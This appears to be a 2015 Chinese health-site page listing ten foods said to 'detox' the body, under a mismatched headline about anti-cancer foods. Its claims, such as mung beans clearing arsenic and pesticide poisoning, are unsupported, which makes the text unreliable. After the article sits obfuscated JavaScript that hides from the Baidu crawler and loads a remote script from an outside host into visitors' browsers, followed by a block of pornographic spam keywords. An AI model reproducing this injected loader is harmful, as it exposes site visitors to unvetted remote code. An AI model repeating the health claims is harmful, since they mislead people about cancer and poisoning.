當前位置:首頁 > 飲食 > 健康飲食 > 正文

抗癌效果最好的10種食物

2015-11-05 22:23:15  來源:360常識網   熱度:
導語:生活中要排出毒素并不難,善用一些日常生活中汲手可得的食物就能有效排毒。為大家整理出10種被稱為排毒之王的食物。

食品安全問題一直困擾著現代人,日常生活中充斥著各式各樣有毒食品和添加物,若累積的毒素沒能及時排出,再加上工作和生活的壓力、作息不正常等種種原因,就會使亞健康的人群越來越多,因此“排毒”是十分重要的自我保健法。其實,生活中要排出毒素并不難,善用一些日常生活中汲手可得的食物就能有效排毒。為大家整理出10種被稱為排毒之王的食物。

抗癌效果最好的10種食物

抗癌效果最好的10種食物

1.紅薯

紅薯含有幫助消化的纖維質,也是一種堿性食品,含高纖維素,在腸內能吸收大量水分,促使食物軟化,幫助排便,還可中和人體內因吃太多的肉類、蛋、或疲勞引起的酸。紅薯中的膠原及粘液多醣類物質,可加強多余膽固醇的排泄。

2.綠豆

綠豆有清熱、解毒、祛火之功效,可以降低膽固醇,有保肝和抗過敏作用。常食綠豆能幫助排除體內毒素,如酒毒、野菌毒、砒霜毒、有機磷農藥毒、鉛毒、丹石毒、鼠藥毒等,促進肌體的正常代謝。綠豆芽脫下的豆皮(綠豆衣),有清熱解毒、明目退翳之功。在綠豆湯中調入蜂蜜飲用,排毒養顏效果更好。

3.燕麥

燕麥水溶性膳食纖維多,是香蕉的5倍,能夠增加糞便體積,并吸附毒素,減少腸道與致癌物質接觸的時間。還能穩定血糖和降低膽固醇,以及具有健胃整腸的效果,同時還可保護血管和心臟。

4.薏仁

薏仁可促進體內血液循環、水分代謝,發揮利尿消腫的效果,有助于改善水腫型肥胖。體“濕”會令人代謝減緩,久而久之堆積廢物之處就會病變。多吃薏仁可以消除體內毒素、殘留的重金屬、消脂、消水腫。具有補益脾胃、祛濕、美容養顏的功效。

5.小米

小米不含麩質,不會刺激腸道壁,是屬于比較溫和的纖維質,容易被消化。小米粥很適合排毒,有清熱利尿,補勞益腎的功效,營養豐富,又有助于美白。

6.糙米

糙米就是全米,保留米糠,豐富的膳食纖維是白米的8倍,具吸水、吸脂作用及相當的飽足感,能整腸利便,有助于排毒。糙米可以調節不飽和脂肪,加強腸道蠕動,預防便秘和腸癌。糙米也是天然的利尿劑,能促進新陳代謝,排除體內過剩的養分及毒素。

7.紅豆

紅豆又稱赤小豆,有清熱解毒,促進新陳代謝的功效。紅豆中含有大量纖維及鉀,可刺激腸道蠕動、幫助改善便秘、利尿、消水腫,因此紅豆能將身體不必要的成分排出體外,如膽固醇、鹽分等。

8.胡蘿卜

胡蘿卜對改善便秘很有幫助,也富含β-胡蘿卜素,可中和毒素。新鮮的胡蘿卜排毒效果比較好,因為它能清熱解毒,潤腸通便,打成汁再加上蜂蜜、檸檬汁,既好喝又解渴,也有利排毒。

胡蘿卜所含有的β-胡蘿卜素可以中和毒素,含有的大量果膠,可以與汞結合,從而有效降低血液中汞離子的濃度,并加速其排出,是有效的排汞食物。

9.山藥

山藥含有多種有益生命活力的多醣體、黏蛋白等成分,能增強免疫力、修復黏膜,并預防細胞突變。山藥可整頓消化系統,減少皮下脂肪沉積,避免肥胖。生食排毒效果最好。

10.牛蒡

牛蒡可促進血液循環、新陳代謝,并有調整腸道功能的效果,所含的膳食纖維留住水分、軟化糞便、緩解便秘又能提升排毒功能。牛蒡還有解肝毒的效果,可清除身體廢棄物、促進血液循環和新陳代謝。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品沙发午睡系列| 精品久久洲久久久久护士免费| 中文精品99久久国产 | 久久精品国产99精品最新| 国产精品成人一区二区三区| 久久久这里有精品| 亚洲国产精品yw在线观看| 久久久久久亚洲Av无码精品专口 | 国产一级精品高清一级毛片 | 日韩精品视频观看| 嫩草影院在线观看精品视频| 国产精品一二三区| 亚洲国产精品综合一区在线| 2022国产精品手机在线观看| 久久er99热精品一区二区| 九九精品99久久久香蕉| 免费精品无码AV片在线观看| 久久国产视频精品| 无码精品久久久天天影视| 亚洲国产成人精品无码区在线观看 | 精品亚洲AV无码一区二区三区 | 色哟哟国产精品免费观看| 国产精品夜夜爽范冰冰| 国产偷窥熟女精品视频大全| 国产精品黄页在线播放免费| 国产精品va无码免费麻豆| 国产91精品久久久久999| 少妇亚洲免费精品| 国产手机在线精品| 亚洲日韩国产精品第一页一区| 国产精品丝袜一区二区三区 | 久久国产乱子免费精品| 午夜精品久久久久久中宇| 中文字幕av日韩精品一区二区 | 日本精品久久久久中文字幕8| 国产精品186在线观看在线播放| 久久91亚洲精品中文字幕| 99re在线精品视频| 97精品国产手机| 日产精品卡2卡三卡乱码网址| 一级一级特黄女人精品毛片|